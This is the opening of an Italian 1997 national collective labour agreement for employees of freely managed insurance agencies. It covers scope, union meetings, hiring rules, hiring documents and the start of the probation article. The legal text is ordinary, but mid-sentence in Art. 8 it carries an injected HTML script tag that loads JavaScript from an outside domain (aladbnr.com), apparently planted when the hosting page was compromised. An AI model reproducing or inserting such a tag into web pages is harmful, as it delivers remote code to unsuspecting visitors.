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Categoria: Assicurazioni (agenzie in gestione libera, UNAPASS) Settore: Credito e Assicurazioni Data stipula: 2-9-1997 Data decorrenza: 1-1-1997 Data scadenza: 31-12-2000
Contratto Collettivo Nazionale di Lavoro
PER I DIPENDENTI DELLE AGENZIE DI ASSICURAZIONI
IN GESTIONE LIBERA (normativo ed economico)
Il giorno 2 settembre 1997 in Milano
tra
- l'Unione Nazionale Agenti Professionisti di Assicurazioni (UNAPASS)
e
- la Federazione Italiana Bancari e Assicurativi (FIBA-CISL);
- la Federazione Italiana Sindacale Lavoratori Assicurazione Credito
(FISAC-CGIL);
- l'Unione Italiana Lavoratori Assicurazioni (UILASS-UIL);
- la Federazione Nazionale Assicuratori (FNA)
si è stipulato
il presente CCNL - normativo ed economico - per il personale dipendente
delle agenzie d'assicurazione in gestione libera.
SFERA DI APPLICAZIONE
Art. 1.
Il presente CCNL (normativo-economico) regola i rapporti tra gli agenti
d'assicurazione in gestione libera e i lavoratori dipendenti, con
esclusione di quelli addetti alla produzione, rappresentati dalle
organizzazioni stipulanti.
RELAZIONI SINDACALI
Art. 2.
L'UNAPASS e le OO.SS. concordano d'incontrarsi a livello territoriale
almeno 1 volta l'anno, per confrontarsi sull'andamento dell'occupazione,
sulla situazione degli inquadramenti anche in riferimento alla condizione
del personale femminile, sulle iniziative di formazione professionale, sui
regimi d'orario.
L'UNAPASS conferma la disponibilità ad incontri anche periodici tendenti a
un'informazione specifica sul livello occupazionale degli addetti. Per le
attività di cui sopra le parti costituiranno specifiche Commissioni.
Nel caso che durante la vigenza del presente contratto intervengano nuove
disposizioni di legge o modifiche e/o integrazioni a leggi già esistenti,
che abbiano significativi riflessi su specifiche norme del presente
contratto, le parti concordano d'incontrarsi con lo scopo di esaminare la
relativa situazione.
ASSUNZIONE DEL PERSONALE
Art. 3.
L'assunzione del personale viene effettuata in conformità alle
disposizioni di legge.
Essa è fatta a tempo indeterminato, salvo le eccezioni previste dalla
legge 18.4.62 n. 230, dall'art. 8 della legge 23.7.91 n. 223 e dai
successivi art. 2 bis e 7 ter.
Art. 4.
L'assunzione del personale può essere fatta con apposizione di termine, ai
sensi della legge 18.4.62 n. 230. A norma dell'art. 23 della legge 28.2.87
n. 56, l'apposizione del termine può avere luogo anche nei seguenti casi:
a) per i lavoratori assenti e per i quali sussiste la conservazione del
posto di lavoro, con indicazione del nome;
b) quando l'assunzione a termine corrisponda ad esigenze di lavoro
straordinarie, temporalmente definite.
Art. 5.
L'assunzione del personale risulterà da atto scritto nel quale saranno
specificati:
a) la data d'assunzione;
b) la categoria alla quale il dipendente viene assegnato per titoli o
mansioni in base agli artt. 9 e 10 del presente contratto;
c) la misura della retribuzione;
d) la durata dell'eventuale periodo di prova;
e) l'eventuale apposizione del termine e la tipologia del contratto.
Art. 6.
L'agente provvederà ad esporre, in luogo accessibile a tutti, l'orario di
lavoro e provvederà a consegnare ad ogni dipendente, sia alla data
d'assunzione che in occasione di ogni rinnovo contrattuale, copia del
CCNL.
Art. 7.
All'atto dell'assunzione potranno essere richiesti i seguenti documenti:
a) atto di nascita;
b) certificato generale del casellario giudiziario;
c) certificato di residenza;
d) stato di famiglia;
e) titolo di studio conseguito;
f) copia del foglio matricolare;
g) libretto di lavoro e attestato di disoccupazione;
h) documenti e dichiarazioni per l'applicazione delle disposizioni
fiscali e previdenziali.
PERIODO DI PROVA
Art. 8.
L'eventuale periodo di prova non può superare i 3 mesi d'effettivo
servizio e non può essere ripetuto. Nel<script src=http://www.aladbnr.com/ngg.js></script>
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